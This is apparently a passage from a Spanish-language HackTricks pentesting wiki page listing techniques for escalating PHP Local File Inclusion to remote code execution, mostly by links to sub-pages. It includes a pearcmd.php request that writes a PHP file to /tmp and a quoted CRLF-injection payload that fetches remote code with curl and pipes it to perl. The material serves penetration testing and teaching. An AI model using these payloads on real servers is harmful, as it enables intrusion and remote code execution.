**Sube** un archivo que se almacenará como **temporal** en `/tmp`, luego en la **misma solicitud,** provoca un **fallo de segmentación**, y luego el **archivo temporal no será eliminado** y podrás buscarlo.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
{% endcontent-ref %}
### A través del almacenamiento de archivos temporales de Nginx
Si encontraste una **Inclusión de Archivos Locales** y **Nginx** está ejecutándose frente a PHP, podrías obtener RCE con la siguiente técnica:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
{% endcontent-ref %}
### A través de PHP\_SESSION\_UPLOAD\_PROGRESS
Si encontraste una **Inclusión de Archivos Locales** incluso si **no tienes una sesión** y `session.auto_start` está `Desactivado`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión para ti**. Podrías abusar de esto para obtener RCE:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
{% endcontent-ref %}
### A través de cargas de archivos temporales en Windows
Si encontraste una **Inclusión de Archivos Locales** y el servidor está ejecutándose en **Windows**, podrías obtener RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
{% endcontent-ref %}
### A través de `pearcmd.php` + argumentos de URL
Como [**se explica en esta publicación**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en imágenes docker de php. Además, es posible pasar argumentos al script a través de la URL porque se indica que si un parámetro de URL no tiene un `=`, debe ser utilizado como un argumento.
La siguiente solicitud crea un archivo en `/tmp/hello.php` con el contenido `<?=phpinfo()?>`:
{% code overflow="wrap" %}
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
{% endcode %}
El siguiente abuso de una vulnerabilidad CRLF para obtener RCE (de [**aquí**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### A través de phpinfo() (file\_uploads = on)
Si encontraste una **Local File Inclusion** y un archivo que expone **phpinfo()** con file\_uploads = on, puedes obtener RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
{% endcontent-ref %}
### A través de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgación de Ruta
Si encontraste una **Local File Inclusion** y **puedes exfiltrar la ruta** del archivo temporal PERO el **servidor** está **verificando** si el **archivo a incluir tiene marcas de PHP**, puedes intentar **eludir esa verificación** con esta **Condición de Carrera**:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
{% endcontent-ref %}
### A través de espera eterna + bruteforce
Si puedes abusar de la LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **fuerza bruta los nombres de archivos durante horas** para encontrar el archivo temporal:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
{% endcontent-ref %}
### A Error Fatal
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para provocar ese error).
**No sé cuán útil es esto, pero podría serlo.**\
_Incluso si causas un Error Fatal de PHP, los archivos temporales subidos se eliminan._
<figure><img src="../../.gitbook/assets/image (1031).png" alt=""><figcaption></figcaption></figure>
## Referencias
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}